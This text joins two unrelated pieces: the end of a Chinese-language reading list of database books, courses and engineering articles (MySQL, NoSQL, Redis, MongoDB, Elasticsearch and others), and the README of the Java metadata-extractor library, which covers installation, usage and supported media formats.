[《数据密集型应用系统设计》](https://book.douban.com/subject/30329536/) - 这可能是目前最好的分布式存储书籍,强力推荐【进阶】 - **教程** - [CMU 15445 数据库基础课程](https://15445.courses.cs.cmu.edu/fall2019/schedule.html) - [CMU 15721 数据库高级课程](https://15721.courses.cs.cmu.edu/spring2020/schedule.html) - [检索技术核心 20 讲](https://time.geekbang.org/column/intro/100048401) - 极客教程【进阶】 - [后端存储实战课](https://time.geekbang.org/column/intro/100046801) - 极客教程【入门】:讲解存储在电商领域的种种应用和一些基本特性 - **论文** - [Efficiency in the Columbia Database Query Optimizer](https://15721.courses.cs.cmu.edu/spring2018/papers/15-optimizer1/xu-columbia-thesis1998.pdf) - [How Good Are Query Optimizers, Really?](http://www.vldb.org/pvldb/vol9/p204-leis.pdf) - [Architecture of a Database System](https://dsf.berkeley.edu/papers/fntdb07-architecture.pdf) - [Data Structures for Databases](https://www.cise.ufl.edu/~mschneid/Research/papers/HS05BoCh.pdf) - **文章** - [Data Structures and Algorithms for Big Databases](https://people.csail.mit.edu/bradley/BenderKuszmaul-tutorial-xldb12.pdf) ### 关系型数据库资料 - **综合资料** - [《数据库的索引设计与优化》](https://book.douban.com/subject/26419771/) - [《SQL 必知必会》](https://book.douban.com/subject/35167240/) - SQL 的基本概念和语法【入门】 - **Oracle 资料** - [《Oracle Database 9i/10g/11g 编程艺术》](https://book.douban.com/subject/5402711/) #### Mysql 资料 - **官方** - [Mysql 官网](https://www.mysql.com/) - [Mysql 官方文档](https://dev.mysql.com/doc/) - **官方 PPT** - [How to Analyze and Tune MySQL Queries for Better Performance](https://www.mysql.com/cn/why-mysql/presentations/tune-mysql-queries-performance/) - [MySQL Performance Tuning 101](https://www.mysql.com/cn/why-mysql/presentations/mysql-performance-tuning101/) - [MySQL Performance Schema & Sys Schema](https://www.mysql.com/cn/why-mysql/presentations/mysql-performance-sys-schema/) - [MySQL Performance: Demystified Tuning & Best Practices](https://www.mysql.com/cn/why-mysql/presentations/mysql-performance-tuning-best-practices/) - [MySQL Security Best Practices](https://www.mysql.com/cn/why-mysql/presentations/mysql-security-best-practices/) - [MySQL Cluster Deployment Best Practices](https://www.mysql.com/cn/why-mysql/presentations/mysql-cluster-deployment-best-practices/) - [MySQL High Availability with InnoDB Cluster](https://www.mysql.com/cn/why-mysql/presentations/mysql-high-availability-innodb-cluster/) - **书籍** - [《高性能 MySQL》](https://book.douban.com/subject/23008813/) - 经典,适合 DBA 或作为开发者的参考手册【进阶】 - [《MySQL 技术内幕:InnoDB 存储引擎》](https://book.douban.com/subject/24708143/) - [《MySQL 必知必会》](https://book.douban.com/subject/3354490/) - Mysql 的基本概念和语法【入门】 - **教程** - [runoob.com MySQL 教程](http://www.runoob.com/mysql/mysql-tutorial.html) - 入门级 SQL 教程 - [mysql-tutorial](https://github.com/jaywcjlove/mysql-tutorial) - **文章** - [MySQL 索引背后的数据结构及算法原理](http://blog.codinglabs.org/articles/theory-of-mysql-index.html) - [Some study on database storage internals](https://medium.com/@kousiknath/data-structures-database-storage-internals-1f5ed3619d43) - [Sharding Pinterest: How we scaled our MySQL fleet](https://medium.com/@Pinterest_Engineering/sharding-pinterest-how-we-scaled-our-mysql-fleet-3f341e96ca6f) - [Guide to MySQL High Availability](https://www.mysql.com/cn/why-mysql/white-papers/mysql-guide-to-high-availability-solutions/) - [Choosing MySQL High Availability Solutions](https://dzone.com/articles/choosing-mysql-high-availability-solutions) - [High availability with MariaDB TX: The definitive guide](https://mariadb.com/sites/default/files/content/Whitepaper_High_availability_with_MariaDB-TX.pdf) - Mysql 相关经验 - [Booking.com: Evolution of MySQL System Design](https://www.percona.com/live/mysql-conference-2015/sessions/bookingcom-evolution-mysql-system-design) ,Booking.com 的 MySQL 数据库使用的演化,其中有很多不错的经验分享,我相信也是很多公司会遇到的的问题。 - [Tracking the Money - Scaling Financial Reporting at Airbnb](https://medium.com/airbnb-engineering/tracking-the-money-scaling-financial-reporting-at-airbnb-6d742b80f040) ,Airbnb 的数据库扩展的经验分享。 - [Why Uber Engineering Switched from Postgres to MySQL](https://eng.uber.com/mysql-migration/) ,无意比较两个数据库谁好谁不好,推荐这篇 Uber 的长文,主要是想让你从中学习到一些经验和技术细节,这是一篇很不错的文章。 - Mysql 集群复制 - [Monitoring Delayed Replication, With A Focus On MySQL](https://engineering.imvu.com/2013/01/09/monitoring-delayed-replication-with-a-focus-on-mysql/) - [Mitigating replication lag and reducing read load with freno](https://githubengineering.com/mitigating-replication-lag-and-reducing-read-load-with-freno/) - [Better Parallel Replication for MySQL](https://medium.com/booking-com-infrastructure/better-parallel-replication-for-mysql-14e2d7857813) - [Evaluating MySQL Parallel Replication Part 2: Slave Group Commit](https://medium.com/booking-com-infrastructure/evaluating-mysql-parallel-replication-part-2-slave-group-commit-459026a141d2) - [Evaluating MySQL Parallel Replication Part 3: Benchmarks in Production](https://medium.com/booking-com-infrastructure/evaluating-mysql-parallel-replication-part-3-benchmarks-in-production-db5811058d74) - [Evaluating MySQL Parallel Replication Part 4: More Benchmarks in Production](https://medium.com/booking-com-infrastructure/evaluating-mysql-parallel-replication-part-4-more-benchmarks-in-production-49ee255043ab) - [Evaluating MySQL Parallel Replication Part 4, Annex: Under the Hood](https://medium.com/booking-com-infrastructure/evaluating-mysql-parallel-replication-part-4-annex-under-the-hood-eb456cf8b2fb) - Mysql 数据分区 - [StackOverflow: MySQL sharding approaches?](https://stackoverflow.com/questions/5541421/mysql-sharding-approaches) - [Why you don’t want to shard](https://www.percona.com/blog/2009/08/06/why-you-dont-want-to-shard/) - [How to Scale Big Data Applications](https://www.percona.com/sites/default/files/presentations/How to Scale Big Data Applications.pdf) - [MySQL Sharding with ProxySQL](https://www.percona.com/blog/2016/08/30/mysql-sharding-with-proxysql/) - 各公司的 Mysql 数据分区经验分享 - [MailChimp: Using Shards to Accommodate Millions of Users](https://devs.mailchimp.com/blog/using-shards-to-accommodate-millions-of-users/) - [Uber: Code Migration in Production: Rewriting the Sharding Layer of Uber’s Schemaless Datastore](https://eng.uber.com/schemaless-rewrite/) - [Sharding & IDs at Instagram](https://instagram-engineering.com/sharding-ids-at-instagram-1cf5a71e5a5c) - [Airbnb: How We Partitioned Airbnb’s Main Database in Two Weeks](https://medium.com/airbnb-engineering/how-we-partitioned-airbnb-s-main-database-in-two-weeks-55f7e006ff21) - **更多资源** - [awesome-mysql](https://github.com/jobbole/awesome-mysql-cn) - MySQL 的资源列表 ### Nosql 数据库综合 - Martin Fowler 在 YouTube 上分享的 NoSQL 介绍 [Introduction To NoSQL](https://youtu.be/qI_g07C_Q5I), 以及他参与编写的 [NoSQL Distilled - NoSQL 精粹](https://book.douban.com/subject/25662138/),这本书才 100 多页,是本难得的关于 NoSQL 的书,很不错,非常易读。 - [NoSQL Databases: a Survey and Decision Guidance](https://medium.com/baqend-blog/nosql-databases-a-survey-and-decision-guidance-ea7823a822d#.nhzop4d23),这篇文章可以带你自上而下地从 CAP 原理到开始了解 NoSQL 的种种技术,是一篇非常不错的文章。 - [Distribution, Data, Deployment: Software Architecture Convergence in Big Data Systems](https://resources.sei.cmu.edu/asset_files/WhitePaper/2014_019_001_90915.pdf),这是卡内基·梅隆大学的一篇讲分布式大数据系统的论文。其中主要讨论了在大数据时代下的软件工程中的一些关键点,也说到了 NoSQL 数据库。 - [No Relation: The Mixed Blessings of Non-Relational Databases](http://ianvarley.com/UT/MR/Varley_MastersReport_Full_2009-08-07.pdf),这篇论文虽然有点年代久远。但这篇论文是 HBase 的基础,你花上一点时间来读读,就可以了解到,对各种非关系型数据存储优缺点的一个很好的比较。 - [NoSQL Data Modeling Techniques](https://highlyscalable.wordpress.com/2012/03/01/nosql-data-modeling-techniques/) ,NoSQL 建模技术。这篇文章我曾经翻译在了 CoolShell 上,标题为 [NoSQL 数据建模技术](https://coolshell.cn/articles/7270.htm),供你参考。 - [MongoDB - Data Modeling Introduction](https://docs.mongodb.com/manual/core/data-modeling-introduction/) ,虽然这是 MongoDB 的数据建模介绍,但是其很多观点可以用于其它的 NoSQL 数据库。 - [Firebase - Structure Your Database](https://firebase.google.com/docs/database/android/structure-data) ,Google 的 Firebase 数据库使用 JSON 建模的一些最佳实践。 - 因为 CAP 原理,所以当你需要选择一个 NoSQL 数据库的时候,你应该看看这篇文档 [Visual Guide to NoSQL Systems](http://blog.nahurst.com/visual-guide-to-nosql-systems)。 选 SQL 还是 NoSQL,这里有两篇文章,值得你看看。 - [SQL vs. NoSQL Databases: What’s the Difference?](https://www.upwork.com/hiring/data/sql-vs-nosql-databases-whats-the-difference/) - [Salesforce: SQL or NoSQL](https://engineering.salesforce.com/sql-or-nosql-9eaf1d92545b) ### 列式数据库资料 #### Cassandra 资料 - 沃尔玛实验室有两篇文章值得一读。 - [Avoid Pitfalls in Scaling Cassandra Cluster at Walmart](https://medium.com/walmartlabs/avoid-pitfalls-in-scaling-your-cassandra-cluster-lessons-and-remedies-a71ca01f8c04) - [Storing Images in Cassandra at Walmart](https://medium.com/walmartlabs/building-object-store-storing-images-in-cassandra-walmart-scale-a6b9c02af593) - [Yelp: How We Scaled Our Ad Analytics with Apache Cassandra](https://engineeringblog.yelp.com/2016/08/how-we-scaled-our-ad-analytics-with-cassandra.html) ,Yelp 的这篇博客也有一些相关的经验和教训。 - [Discord: How Discord Stores Billions of Messages](https://blog.discordapp.com/how-discord-stores-billions-of-messages-7fa6ec7ee4c7) ,Discord 公司分享的一个如何存储十亿级消息的技术文章。 - [Cassandra at Instagram](https://www.slideshare.net/DataStax/cassandra-at-instagram-2016) ,Instagram 的一个 PPT,其中介绍了 Instagram 中是怎么使用 Cassandra 的。 - [Netflix: Benchmarking Cassandra Scalability on AWS - Over a million writes per second](https://medium.com/netflix-techblog/benchmarking-cassandra-scalability-on-aws-over-a-million-writes-per-second-39f45f066c9e) ,Netflix 公司在 AWS 上给 Cassandra 做的一个 Benchmark。 #### HBase 资料 - [Imgur Notification: From MySQL to HBASE](https://medium.com/imgur-engineering/imgur-notifications-from-mysql-to-hbase-9dba6fc44183) - [Pinterest: Improving HBase Backup Efficiency](https://medium.com/@Pinterest_Engineering/improving-hbase-backup-efficiency-at-pinterest-86159da4b954) - [IBM : Tuning HBase performance](https://www.ibm.com/support/knowledgecenter/en/SSPT3X_2.1.2/com.ibm.swg.im.infosphere.biginsights.analyze.doc/doc/bigsql_TuneHbase.html) - [HBase File Locality in HDFS](http://www.larsgeorge.com/2010/05/hbase-file-locality-in-hdfs.html) - [Apache Hadoop Goes Realtime at Facebook](http://borthakur.com/ftp/RealtimeHadoopSigmod2011.pdf) - [Storage Infrastructure Behind Facebook Messages: Using HBase at Scale](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.294.8459&rep=rep1&type=pdf) - [GitHub: Awesome HBase](https://github.com/rayokota/awesome-hbase) 针对于 HBase 有两本书你可以考虑一下。 - 首先,先推荐两本书,一本是偏实践的《[HBase 实战](https://book.douban.com/subject/25706541/)》,另一本是偏大而全的手册型的《[HBase 权威指南](https://book.douban.com/subject/10748460/)》。 - 当然,你也可以看看官方的 [The Apache HBase™ Reference Guide](http://hbase.apache.org/0.94/book/book.html) - 另外两个列数据库: - [ClickHouse - Open Source Distributed Column Database at Yandex](https://clickhouse.yandex/) - [Scaling Redshift without Scaling Costs at GIPHY](https://engineering.giphy.com/scaling-redshift-without-scaling-costs/) ### KV 数据库资料 #### Redis 资料 - **官网** - [Redis 官网](https://redis.io/) - [Redis github](https://github.com/antirez/redis) - [Redis 官方文档中文版](http://redis.cn/) - [Redis 命令参考](http://redisdoc.com/) - **书籍** - [《Redis 实战》](https://item.jd.com/11791607.html) - [《Redis 设计与实现》](https://item.jd.com/11486101.html) - **源码** - [《Redis 实战》配套 Python 源码](https://github.com/josiahcarlson/redis-in-action) - **资源汇总** - [awesome-redis](https://github.com/JamzyWang/awesome-redis) - **Redis Client** - [spring-data-redis 官方文档](https://docs.spring.io/spring-data/redis/docs/1.8.13.RELEASE/reference/html/) - [redisson 官方文档(中文,略有滞后)](https://github.com/redisson/redisson/wiki/%E7%9B%AE%E5%BD%95) - [redisson 官方文档(英文)](https://github.com/redisson/redisson/wiki/Table-of-Content) - [CRUG | Redisson PRO vs. Jedis: Which Is Faster? 翻译](https://www.jianshu.com/p/82f0d5abb002) - [redis 分布锁 Redisson 性能测试](https://blog.csdn.net/everlasting_188/article/details/51073505) - **文章** - [Learn Redis the hard way (in production) at Trivago](http://tech.trivago.com/2017/01/25/learn-redis-the-hard-way-in-production/) - [Twitter: How Twitter Uses Redis To Scale - 105TB RAM, 39MM QPS, 10,000+ Instances](http://highscalability.com/blog/2014/9/8/how-twitter-uses-redis-to-scale-105tb-ram-39mm-qps-10000-ins.html) - [Slack: Scaling Slack’s Job Queue - Robustly Handling Billions of Tasks in Milliseconds Using Kafka and Redis](https://slack.engineering/scaling-slacks-job-queue-687222e9d100) - [GitHub: Moving persistent data out of Redis at GitHub](https://githubengineering.com/moving-persistent-data-out-of-redis/) - [Instagram: Storing Hundreds of Millions of Simple Key-Value Pairs in Redis](https://engineering.instagram.com/storing-hundreds-of-millions-of-simple-key-value-pairs-in-redis-1091ae80f74c) - [Redis in Chat Architecture of Twitch (from 27:22)](https://www.infoq.com/presentations/twitch-pokemon) - [Deliveroo: Optimizing Session Key Storage in Redis](https://deliveroo.engineering/2016/10/07/optimising-session-key-storage.html) - [Deliveroo: Optimizing Redis Storage](https://deliveroo.engineering/2017/01/19/optimising-membership-queries.html) - [GitHub: Awesome Redis](https://github.com/JamzyWang/awesome-redis) ### 文档数据库资料 - [Couchbase Ecosystem at LinkedIn](https://engineering.linkedin.com/blog/2017/12/couchbase-ecosystem-at-linkedin) - [SimpleDB at Zendesk](https://medium.com/zendesk-engineering/resurrecting-amazon-simpledb-9404034ec506) - [Data Points - What the Heck Are Document Databases?](https://msdn.microsoft.com/en-us/magazine/hh547103.aspx) #### MongoDB 资料 - **官方** - [MongoDB 官网](https://www.mongodb.com/) - [MongoDB Github](https://github.com/mongodb/mongo) - [MongoDB 官方免费教程](https://university.mongodb.com/) - **教程** - [MongoDB 教程](https://www.runoob.com/mongodb/mongodb-tutorial.html) - [MongoDB 高手课](https://time.geekbang.org/course/intro/100040001) - **数据** - [mongodb-json-files](https://github.com/ozlerhakan/mongodb-json-files) - **文章** - [Introduction to MongoDB](https://www.slideshare.net/mdirolf/introduction-to-mongodb) - [eBay: Building Mission-Critical Multi-Data Center Applications with MongoDB](https://www.mongodb.com/blog/post/ebay-building-mission-critical-multi-data-center-applications-with-mongodb) - [The AWS and MongoDB Infrastructure of Parse: Lessons Learned](https://medium.baqend.com/parse-is-gone-a-few-secrets-about-their-infrastructure-91b3ab2fcf71) - [Migrating Mountains of Mongo Data](https://medium.com/build-addepar/migrating-mountains-of-mongo-data-63e530539952) - **更多资源** - [Github: Awesome MongoDB](https://github.com/ramnes/awesome-mongodb) ### 搜索引擎数据库资料 #### ElasticSearch - **官方** - [Elasticsearch 官网](https://www.elastic.co/cn/products/elasticsearch) - [Elasticsearch Github](https://github.com/elastic/elasticsearch) - [Elasticsearch 官方文档](https://www.elastic.co/guide/en/elasticsearch/reference/current/index.html) - [Elasticsearch: The Definitive Guide](https://www.elastic.co/guide/en/elasticsearch/guide/master/index.html) - ElasticSearch 官方学习资料 - **书籍** - [《Elasticsearch 实战》](https://book.douban.com/subject/30380439/) - **教程** - [ELK Stack 权威指南](https://github.com/chenryn/logstash-best-practice-cn) - [Elasticsearch 教程](https://www.knowledgedict.com/tutorial/elasticsearch-intro.html) - **文章** - [Elasticsearch+Logstash+Kibana 教程](https://www.cnblogs.com/xing901022/p/4704319.html) - [ELK(Elasticsearch、Logstash、Kibana)安装和配置](https://github.com/judasn/Linux-Tutorial/blob/master/ELK-Install-And-Settings.md) - **性能调优相关**的工程实践 - [Elasticsearch Performance Tuning Practice at eBay](https://www.ebayinc.com/stories/blogs/tech/elasticsearch-performance-tuning-practice-at-ebay/) - [Elasticsearch at Kickstarter](https://kickstarter.engineering/elasticsearch-at-kickstarter-db3c487887fc) - [9 tips on ElasticSearch configuration for high performance](https://www.loggly.com/blog/nine-tips-configuring-elasticsearch-for-high-performance/) - [Elasticsearch In Production - Deployment Best Practices](https://medium.com/@abhidrona/elasticsearch-deployment-best-practices-d6c1323b25d7) - **更多资源** - [GitHub: Awesome ElasticSearch](https://github.com/dzharii/awesome-elasticsearch) ### 图数据库 - 首先是 IBM Devloperworks 上的两个简介性的 PPT。 - [Intro to graph databases, Part 1, Graph databases and the CRUD operations](https://www.ibm.com/developerworks/library/cl-graph-database-1/cl-graph-database-1-pdf.pdf) - [Intro to graph databases, Part 2, Building a recommendation engine with a graph database](https://www.ibm.com/developerworks/library/cl-graph-database-2/cl-graph-database-2-pdf.pdf) - 然后是一本免费的电子书《[Graph Database](http://graphdatabases.com)》。 - 接下来是一些图数据库的介绍文章。 - [Handling Billions of Edges in a Graph Database](https://www.infoq.com/presentations/graph-database-scalability) - [Neo4j case studies with Walmart, eBay, AirBnB, NASA, etc](https://neo4j.com/customers/) - [FlockDB: Distributed Graph Database for Storing Adjacency Lists at Twitter](https://blog.twitter.com/engineering/en_us/a/2010/introducing-flockdb.html) - [JanusGraph: Scalable Graph Database backed by Google, IBM and Hortonworks](https://architecht.io/google-ibm-back-new-open-source-graph-database-project-janusgraph-1d74fb78db6b) - [Amazon Neptune](https://aws.amazon.com/neptune/) ### 时序数据库 - [What is Time-Series Data & Why We Need a Time-Series Database](https://blog.timescale.com/what-the-heck-is-time-series-data-and-why-do-i-need-a-time-series-database-dcf3b1b18563) - [Time Series Data: Why and How to Use a Relational Database instead of NoSQL](https://blog.timescale.com/time-series-data-why-and-how-to-use-a-relational-database-instead-of-nosql-d0cd6975e87c) - [Beringei: High-performance Time Series Storage Engine @Facebook](https://code.facebook.com/posts/952820474848503/beringei-a-high-performance-time-series-storage-engine/) - [Introducing Atlas: Netflix’s Primary Telemetry Platform @Netflix](https://medium.com/netflix-techblog/introducing-atlas-netflixs-primary-telemetry-platform-bd31f4d8ed9a) - [Building a Scalable Time Series Database on PostgreSQL](https://blog.timescale.com/when-boring-is-awesome-building-a-scalable-time-series-database-on-postgresql-2900ea453ee2) - [Scaling Time Series Data Storage - Part I @Netflix](https://medium.com/netflix-techblog/scaling-time-series-data-storage-part-i-ec2b6d44ba39) - [Design of a Cost Efficient Time Series Store for Big Data](https://medium.com/@leventov/design-of-a-cost-efficient-time-series-store-for-big-data-88c5dc41af8e) - [GitHub: Awesome Time-Series Database](https://github.com/xephonhq/awesome-time-series-database) ## 传送 🚪 ◾ 💧 [钝悟的 IT 知识图谱](https://dunwu.github.io/waterdrop/) ◾ 🎯 [钝悟的博客](https://dunwu.github.io/blog/) ◾
0
drewnoakes/metadata-extractor
Extracts Exif, IPTC, XMP, ICC and other metadata from image, video and audio files
eps exif icc iptc java jpeg metadata mp4 photography png quicktime tiff video webp xmp
![metadata-extractor logo](https://cdn.rawgit.com/drewnoakes/metadata-extractor/master/Resources/metadata-extractor-logo.svg) [![metadata-extractor build status](https://github.com/drewnoakes/metadata-extractor/actions/workflows/maven.yml/badge.svg)](https://github.com/drewnoakes/metadata-extractor/actions/workflows/maven.yml) [![Maven Central](https://img.shields.io/maven-central/v/com.drewnoakes/metadata-extractor.svg?maxAge=2592000)](https://mvnrepository.com/artifact/com.drewnoakes/metadata-extractor) [![Donate](https://img.shields.io/badge/paypal-donate-yellow.svg)](https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=TNXDJKCDV5Z2C&lc=GB&item_name=Drew%20Noakes&item_number=metadata%2dextractor&no_note=0&cn=Add%20a%20message%20%28optional%29%3a&no_shipping=1&currency_code=GBP&bn=PP%2dDonationsBF%3abtn_donateCC_LG%2egif%3aNonHosted) _metadata-extractor_ is a Java library for reading metadata from media files. ## Installation The easiest way is to install the library via its [Maven package](http://search.maven.org/#search%7Cgav%7C1%7Cg%3A%22com.drewnoakes%22%20AND%20a%3A%22metadata-extractor%22). ```xml <dependency> <groupId>com.drewnoakes</groupId> <artifactId>metadata-extractor</artifactId> <version>2.19.0</version> </dependency> ``` Alternatively, download it from the [releases page](https://github.com/drewnoakes/metadata-extractor/releases). ## Usage ```java Metadata metadata = ImageMetadataReader.readMetadata(imagePath); ``` With that `Metadata` instance, you can [iterate or query](https://github.com/drewnoakes/metadata-extractor/wiki/Getting-Started-(Java)#2-query-tags) the [various tag values](https://github.com/drewnoakes/metadata-extractor/wiki/SampleOutput) that were read from the image. ## Features The library understands several formats of metadata, many of which may be present in a single image: * [Exif](https://en.wikipedia.org/wiki/Exchangeable_image_file_format) * [IPTC](https://en.wikipedia.org/wiki/IPTC) * [XMP](https://en.wikipedia.org/wiki/Extensible_Metadata_Platform) * [JFIF / JFXX](https://en.wikipedia.org/wiki/JPEG_File_Interchange_Format) * [ICC Profiles](https://en.wikipedia.org/wiki/ICC_profile) * [Photoshop](https://en.wikipedia.org/wiki/Photoshop) fields * [WebP](https://en.wikipedia.org/wiki/WebP) properties * [WAV](https://en.wikipedia.org/wiki/WAV) properties * [AVI](https://en.wikipedia.org/wiki/Audio_Video_Interleave) properties * [PNG](https://en.wikipedia.org/wiki/Portable_Network_Graphics) properties * [BMP](https://en.wikipedia.org/wiki/BMP_file_format) properties * [GIF](https://en.wikipedia.org/wiki/Graphics_Interchange_Format) properties * [ICO](https://en.wikipedia.org/wiki/ICO_(file_format)) properties * [PCX](https://en.wikipedia.org/wiki/PCX) properties * [QuickTime](https://en.wikipedia.org/wiki/QuickTime_File_Format) properties * [MP4](https://en.wikipedia.org/wiki/MPEG-4_Part_14) properties It will process files of type: * JPEG * TIFF * WebP * WAV * AVI * PSD * PNG * BMP * GIF * HEIF (HEIC & AVIF) * ICO * PCX * QuickTime * MP4 * Camera Raw * NEF (Nikon) * CR2 (Canon) * ORF (Olympus) * ARW (Sony) * RW2 (Panasonic) * RWL (Leica) * SRW (Samsung) Camera-specific "makernote" data is decoded for cameras manufactured by: * Agfa * Apple * Canon * Casio * Epson * Fujifilm * Kodak * Kyocera * Leica * Minolta * Nikon * Olympus * Panasonic * Pentax * Reconyx * Sanyo * Sigma/Foveon * Sony Read [getting started](https://github.com/drewnoakes/metadata-extractor/wiki/Getting-Started) for an introduction to the basics of using this library. ## Questions & Feedback The quickest way to have your questions answered is via [Stack Overflow](http://stackoverflow.com/questions/tagged/metadata-extractor). Check whether your question has already been asked, and if not, ask a new one tagged with both `metadata-extractor` and `java`. Bugs and feature requests should be provided via the project's [issue tracker](https://github.com/drewnoakes/metadata-extractor/issues). Please attach sample images where possible as most issues cannot be investigated without an image. ## Contributing If you want to get your hands dirty, making a pull request is a great way to enhance the library. In general it's best to create an issue first that captures the problem you want to address. You can discuss your proposed solution in that issue. This gives others a chance to provide feedback before you spend your valuable time working on it. An easier way to help is to contribute to the [sample image file library](https://github.com/drewnoakes/metadata-extractor-images/wiki) used for research and testing. ## Credits This library is developed by [Drew Noakes](https://drewnoakes.com/code/exif/). Thanks are due to the many [users](https://github.com/drewnoakes/metadata-extractor/wiki/UsedBy) who sent in suggestions, bug reports, [sample images](https://github.com/drewnoakes/metadata-extractor-images/wiki) from their cameras as well as encouragement. Wherever possible, they have been credited in the source code and commit logs. ## Other languages - .NET [metadata-extractor-dotnet](https://github.com/drewnoakes/metadata-extractor-dotnet) is a complete port to C#, maintained alongside this library - PHP [php-metadata-extractor](https://github.com/gomoob/php-metadata-extractor) wraps this Java project, making it available to users of PHP - Clojure [exif-processor](https://github.com/joshuamiller/exif-processor) wraps this Java project, returning a subset of data --- More information about this project is available at: * https://drewnoakes.com/code/exif/ * https://github.com/drewnoakes/metadata-extractor/
0